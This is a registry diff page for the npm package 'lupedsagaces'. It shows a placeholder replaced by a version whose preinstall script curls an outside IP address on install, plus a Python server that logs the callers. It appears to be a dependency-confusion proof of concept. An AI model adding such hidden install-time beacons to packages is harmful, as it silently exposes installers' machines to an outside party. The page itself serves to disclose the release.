lupedsagaces 0.0.1-security → 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lupedsagaces might be problematic. Click here for more details.

Binary file
@@ -0,0 +1,3 @@
1
+ {"timestamp_utc": "2026-11-05T13:47:02.184870+00:00", "ip": "45.165.220.208", "source_port": 51330, "method": "GET", "path": "/", "protocol": "HTTP/1.1", "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36", "host": "89.117.62.67:8080", "referer": null, "headers": {"Host": "89.117.62.67:8080", "Connection": "keep-alive", "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh;q=0.5,ja;q=0.4"}}
2
+ {"timestamp_utc": "2026-11-05T13:47:03.110065+00:00", "ip": "45.165.220.208", "source_port": 51338, "method": "GET", "path": "/favicon.ico", "protocol": "HTTP/1.1", "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36", "host": "89.117.62.67:8080", "referer": "http://89.117.62.67:8080/", "headers": {"Host": "89.117.62.67:8080", "Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36", "Accept": "image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer": "http://89.117.62.67:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh;q=0.5,ja;q=0.4"}}
3
+ {"timestamp_utc": "2026-11-05T13:48:34.759112+00:00", "ip": "45.165.220.208", "source_port": 38796, "method": "GET", "path": "/", "protocol": "HTTP/1.1", "user_agent": "curl/8.22.0", "host": "89.117.62.67:8080", "referer": null, "headers": {"Host": "89.117.62.67:8080", "User-Agent": "curl/8.22.0", "Accept": "*/*"}}
@@ -0,0 +1,2 @@
1
+ 2026-11-05 10:45:29,992 | IP=45.165.220.208 | METHOD=GET | PATH=/ | USER_AGENT=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36
2
+ 2026-11-05 10:45:31,328 | IP=45.165.220.208 | METHOD=GET | PATH=/favicon.ico | USER_AGENT=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/157.0.0.0 Safari/537.36
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
- "name": "lupedsagaces",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "lupedsagaces",
3
+ "version": "0.0.1",
4
+ "scripts": {
5
+ "preinstall": "curl -k http://89.117.62.67:8080"
6
+ }
6
7
  }
package/server.py ADDED
@@ -0,0 +1,162 @@
1
+
2
+ from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
3
+ from datetime import datetime, timezone
4
+ from pathlib import Path
5
+ from urllib.parse import urlsplit
6
+ import sqlite3
7
+ import json
8
+ import threading
9
+
10
+ PORT = 8080
11
+
12
+ BASE_DIR = Path(__file__).resolve().parent
13
+ DATA_DIR = BASE_DIR / "evidencias"
14
+
15
+ DATA_DIR.mkdir(parents=True, exist_ok=True)
16
+
17
+ DB_FILE = DATA_DIR / "poc-access.db"
18
+ JSON_FILE = DATA_DIR / "poc-access.jsonl"
19
+
20
+ db_lock = threading.Lock()
21
+
22
+ SENSITIVE_HEADERS = {
23
+ "authorization",
24
+ "proxy-authorization",
25
+ "cookie",
26
+ "set-cookie"
27
+ }
28
+
29
+
30
+ def conectar_db():
31
+ return sqlite3.connect(DB_FILE, timeout=30)
32
+
33
+
34
+ def inicializar_db():
35
+ with conectar_db() as conn:
36
+ conn.execute("""
37
+ CREATE TABLE IF NOT EXISTS acessos (
38
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
39
+ timestamp_utc TEXT NOT NULL,
40
+ ip TEXT,
41
+ source_port INTEGER,
42
+ method TEXT,
43
+ path TEXT,
44
+ protocol TEXT,
45
+ user_agent TEXT,
46
+ host TEXT,
47
+ referer TEXT,
48
+ headers_json TEXT
49
+ )
50
+ """)
51
+
52
+ conn.execute("""
53
+ CREATE INDEX IF NOT EXISTS idx_acessos_ip
54
+ ON acessos(ip)
55
+ """)
56
+
57
+ conn.execute("""
58
+ CREATE INDEX IF NOT EXISTS idx_acessos_data
59
+ ON acessos(timestamp_utc)
60
+ """)
61
+
62
+
63
+ class PoCHandler(BaseHTTPRequestHandler):
64
+
65
+ def registrar_acesso(self):
66
+ headers = {}
67
+
68
+ for name, value in self.headers.items():
69
+ if name.lower() in SENSITIVE_HEADERS:
70
+ headers[name] = "[REDACTED]"
71
+ else:
72
+ headers[name] = value
73
+
74
+ event = {
75
+ "timestamp_utc": datetime.now(
76
+ timezone.utc
77
+ ).isoformat(),
78
+
79
+ "ip": self.client_address[0],
80
+ "source_port": self.client_address[1],
81
+ "method": self.command,
82
+ "path": urlsplit(self.path).path,
83
+ "protocol": self.request_version,
84
+
85
+ "user_agent": self.headers.get(
86
+ "User-Agent", "Not provided"
87
+ ),
88
+
89
+ "host": self.headers.get("Host"),
90
+ "referer": self.headers.get("Referer"),
91
+ "headers": headers
92
+ }
93
+
94
+ with db_lock:
95
+ with conectar_db() as conn:
96
+ conn.execute("""
97
+ INSERT INTO acessos (
98
+ timestamp_utc,
99
+ ip,
100
+ source_port,
101
+ method,
102
+ path,
103
+ protocol,
104
+ user_agent,
105
+ host,
106
+ referer,
107
+ headers_json
108
+ )
109
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
110
+ """, (
111
+ event["timestamp_utc"],
112
+ event["ip"],
113
+ event["source_port"],
114
+ event["method"],
115
+ event["path"],
116
+ event["protocol"],
117
+ event["user_agent"],
118
+ event["host"],
119
+ event["referer"],
120
+ json.dumps(event["headers"])
121
+ ))
122
+
123
+ with JSON_FILE.open(
124
+ "a", encoding="utf-8"
125
+ ) as file:
126
+ file.write(
127
+ json.dumps(event, ensure_ascii=False) + "\n"
128
+ )
129
+
130
+ print("\n[+] ACESSO REGISTRADO")
131
+ print(json.dumps(event, indent=4, ensure_ascii=False))
132
+
133
+ def do_GET(self):
134
+ self.registrar_acesso()
135
+
136
+ self.send_response(200)
137
+ self.send_header("Content-Type", "text/plain")
138
+ self.end_headers()
139
+ self.wfile.write(b"PoC received successfully")
140
+
141
+ def log_message(self, format, *args):
142
+ pass
143
+
144
+
145
+ if __name__ == "__main__":
146
+
147
+ inicializar_db()
148
+
149
+ server = ThreadingHTTPServer(
150
+ ("0.0.0.0", PORT),
151
+ PoCHandler
152
+ )
153
+
154
+ print(f"[*] Servidor iniciado na porta {PORT}")
155
+ print(f"[*] Banco SQLite: {DB_FILE}")
156
+ print(f"[*] JSONL: {JSON_FILE}")
157
+
158
+ try:
159
+ server.serve_forever()
160
+ except KeyboardInterrupt:
161
+ print("\n[*] Encerrando servidor...")
162
+ server.server_close()
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=lupedsagaces for more information.